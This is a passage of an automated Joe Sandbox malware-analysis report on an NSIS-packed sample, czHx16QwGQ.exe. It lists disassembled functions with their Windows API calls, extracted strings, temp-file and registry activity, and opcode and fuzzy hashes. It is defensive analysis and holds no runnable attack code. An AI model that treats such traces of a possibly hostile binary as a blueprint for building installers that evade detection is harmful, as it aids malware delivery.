Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,00000001), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,?,00000000,00000001), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00423728,?,00423728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00423728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(7B, xrefs: 004041C4

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: (7B
API String ID: 3282139019-3251261122
Opcode ID: 42b69af187e06dbbd4ac4a762ea4715538cd3e369663267481291b142cb35f12
Instruction ID: 1e1a27d6975204c591228116fe5edee23a209105d2649c04e919f1d7e5095d09
Opcode Fuzzy Hash: 42b69af187e06dbbd4ac4a762ea4715538cd3e369663267481291b142cb35f12
Instruction Fuzzy Hash: 6FC1A2B1644200FBDB216F61EE85D2A3BB8EB94706F40053EFA41B11F1CB7958529B6D

Function 00403AD8 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,?,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

lstrcatW.KERNEL32(1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user\AppData\Local\Temp\,75573420,00435000,00000000), ref: 00403B59
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,00435800,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 00403BD9
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,00435800,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(Call), ref: 00403BF7
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00435800), ref: 00403C40

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

RegisterClassW.USER32(004291E0), ref: 00403C7D
SystemParametersInfoW.USER32(?,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(?,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403D2C
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403D39
RegisterClassW.USER32(004291E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

RichEdit, xrefs: 00403D33
C:\Users\user\AppData\Local\Temp\, xrefs: 00403AE4
RichEdit20W, xrefs: 00403D24, 00403D2A
RichEd20, xrefs: 00403D06
Call, xrefs: 00403BA0, 00403BA9, 00403BB7, 00403C06, 00403C0C
.DEFAULT\Control Panel\International, xrefs: 00403B44
Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C
_Nb, xrefs: 00403C5C, 00403CC4
1033, xrefs: 00403AF8, 00403B54
(7B, xrefs: 00403B04
.exe, xrefs: 00403BE6
RichEd32, xrefs: 00403D14

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1642274604
Opcode ID: faef508d5617ccaf29f7204e00c3b9242aa942859a9d4d687d906c1b184c1908
Instruction ID: f49b718e50d7a26840138b6048ee10d29e8519d5aa43f5d66e73d4226ad9b376
Opcode Fuzzy Hash: faef508d5617ccaf29f7204e00c3b9242aa942859a9d4d687d906c1b184c1908
Instruction Fuzzy Hash: FF61C470204700BBE220AF669E45F2B3A7CEB84B49F40447FF945B22E2DB7D5912C62D

Function 00402F30 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\czHx16QwGQ.exe,?), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\czHx16QwGQ.exe,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,00436800,00436800,C:\Users\user\Desktop\czHx16QwGQ.exe,C:\Users\user\Desktop\czHx16QwGQ.exe,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNELBASE(?,0040A230), ref: 004030F0

Strings

Error launching installer, xrefs: 00402F80
soft, xrefs: 00403020
C:\Users\user\Desktop\czHx16QwGQ.exe, xrefs: 00402F4A, 00402F59, 00402F6D, 00402F8A
Inst, xrefs: 00403017
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139
C:\Users\user\AppData\Local\Temp\, xrefs: 00402F3D, 00403108
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187
Null, xrefs: 00403029

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\czHx16QwGQ.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-5965627
Opcode ID: 17d4548877bb422f8be7689a7878bb05eb645905850902383813b6e2c7289b3d
Instruction ID: fab51a6d61a7302470dd91ad27108f0c0be819ae48098b15a947b51e22d3bd00
Opcode Fuzzy Hash: 17d4548877bb422f8be7689a7878bb05eb645905850902383813b6e2c7289b3d
Instruction Fuzzy Hash: 4961D271A00205ABDB20DFA4DD45A9A7BA8EB04356F20413FF904F62D1DB7C9A458BAD

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,?), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(Call,?,00000000,00422708,?,00405487,00422708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,00422708,?,00405487,00422708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,Call), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(Call,00000000,00422708,?,00405487,00422708,00000000), ref: 00406631

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3
Call, xrefs: 00406434, 0040650F, 00406516, 0040651A, 00406534, 00406535, 0040654A, 0040655D, 00406579, 004065A4, 004065D8, 004065DE, 004065FA, 0040660D, 0040662A, 00406630, 0040663C, 0040666F

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1230650788
Opcode ID: 05bff3a2d83114fcd993f4ecc25878232afbb7d489ed6444c63e00c36f1e26dc
Instruction ID: bd17f2555f8fb0ecb5cfb39a154c1e2018f2892b34e65fa403921cbdc39efe9b
Opcode Fuzzy Hash: 05bff3a2d83114fcd993f4ecc25878232afbb7d489ed6444c63e00c36f1e26dc
Instruction Fuzzy Hash: A4612371A00115ABDF209F64DD41AAE37A5AF50314F62813FE903B72D0E73E9AA2C75D

Function 0040176F Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,00436000,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,00436000,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,?,00403576,00429240,NSIS Error,?,00000006,?,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Strings

C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp\System.dll, xrefs: 00401835, 00401851
Call, xrefs: 0040178D, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp, xrefs: 00401821, 0040183F

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp$C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp\System.dll$Call
API String ID: 1941528284-2515661891
Opcode ID: 45b834d85ef4e1e2ed7d2d31852b9ecb22d19d59077027c4906be829d01ae2f6
Instruction ID: 2530360bafa170a9d5e8074bf3c3c5079485a484cad24ccb9f0485aee5561d29
Opcode Fuzzy Hash: 45b834d85ef4e1e2ed7d2d31852b9ecb22d19d59077027c4906be829d01ae2f6
Instruction Fuzzy Hash: FF41C671900614BADF11ABA5CD85DAF3679EF05329B20433BF412B10E2CB3C86529A6E

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,?,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNELBASE(?,?,?,00000001,?,?,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,?,?,00000000,?,00000001,?,00000001,?,?,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: cadc99d36448674c458fec809f66667da68abd58cfb7d9264b13fa75ded684dc
Instruction ID: add249696b334c0fceafe0529c612de3b1c59f5eaafd60b3ba6c21ea99dd66a9
Opcode Fuzzy Hash: cadc99d36448674c458fec809f66667da68abd58cfb7d9264b13fa75ded684dc
Instruction Fuzzy Hash: FD510A74D10219AEDF21DF95DA88AAEB779FF04304F50443BE901B72D0D7B89982CB59

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNEL32(?,00000000,?), ref: 004067B8

Strings

\, xrefs: 0040677A
%s%S.dll, xrefs: 0040679E
UXTHEME, xrefs: 0040675B

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Function 73961777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 73961B5F: GlobalFree.KERNEL32(?), ref: 73961DB2
Part of subcall function 73961B5F: GlobalFree.KERNEL32(?), ref: 73961DB7
Part of subcall function 73961B5F: GlobalFree.KERNEL32(?), ref: 73961DBC

GlobalFree.KERNEL32(00000000), ref: 73961825
FreeLibrary.KERNEL32(?), ref: 739618AB
GlobalFree.KERNEL32(00000000), ref: 739618D0

Part of subcall function 73962352: GlobalAlloc.KERNEL32(?,?), ref: 73962383

Part of subcall function 73962724: GlobalAlloc.KERNEL32(?,00000000,?,?,00000000,?,?,?,739617F6,00000000), ref: 739627F4

Part of subcall function 739615C6: wsprintfW.USER32 ref: 739615F4

Strings

, xrefs: 739618B1

Memory Dump Source

Source File: 00000000.00000002.2221579317.0000000073961000.00000020.00000001.01000000.00000004.sdmp, Offset: 73960000, based on PE: true

Associated: 00000000.00000002.2220811519.0000000073960000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2221828367.0000000073964000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2222689147.0000000073966000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73960000_czHx16QwGQ.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: f4e86d18154c8d65e23563610bd1b2a0a567e5a3fb53f3dcb12fab2c2d8e0849
Instruction ID: 82ba49fe69d4bfe28995f96736068f3b789bbe48da7b5881affc6107553d4947
Opcode Fuzzy Hash: f4e86d18154c8d65e23563610bd1b2a0a567e5a3fb53f3dcb12fab2c2d8e0849
Instruction Fuzzy Hash: E241BEB2402348EBEB119F749994B9637BCBF04395F185079E94B9E1C6DBB8C084C7A3

Function 004032DE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004032F2

Part of subcall function 0040345D: SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 00403325
SetFilePointer.KERNELBASE(001663EE,00000000,00000000,00414ED0,00004000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000), ref: 00403420

Strings

41A, xrefs: 004033AE, 004033C7

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: FilePointer$CountTick
String ID: 41A
API String ID: 1092082344-463856362
Opcode ID: 46bf3b49fb3124b20b26849d3f96ebab8958347a080c85236d637af58840fa95
Instruction ID: a2c2ae871b20a7f651e14226ae934804f023725c52e887911cb1b1382089a511
Opcode Fuzzy Hash: 46bf3b49fb3124b20b26849d3f96ebab8958347a080c85236d637af58840fa95
Instruction Fuzzy Hash: 54313872610215DBD721DF29EEC496A3BA9F74039A754433FE900F62E0CBB99D018B9D

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp,00000023,00000011,00000002), ref: 0040242F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp,00000000,00000011,00000002), ref: 0040246F
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp,00000000,00000011,00000002), ref: 00402557

Strings

C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp, xrefs: 00402420, 0040242E, 00402445, 00402459, 00402464

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp
API String ID: 2655323295-4198387027
Opcode ID: 73e16f22230fec4bb41596bf14ea3730359cb40e1001d342c6dd81160fbf5f59
Instruction ID: 2320c74fc41ffeb716861e397aa06506e2c1d49fdd3331f7b5a779c93e7e4390
Opcode Fuzzy Hash: 73e16f22230fec4bb41596bf14ea3730359cb40e1001d342c6dd81160fbf5f59
Instruction Fuzzy Hash: C4118471E00104BEEB10AFA5DE89EAEBB74EB44754F11803BF504B71D1DBB89D419B68

Function 00405F0D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00435000,004034A3,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573420,004036EF), ref: 00405F46

Strings

nsa, xrefs: 00405F1A
C:\Users\user\AppData\Local\Temp\, xrefs: 00405F12, 00405F16

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1331003597
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
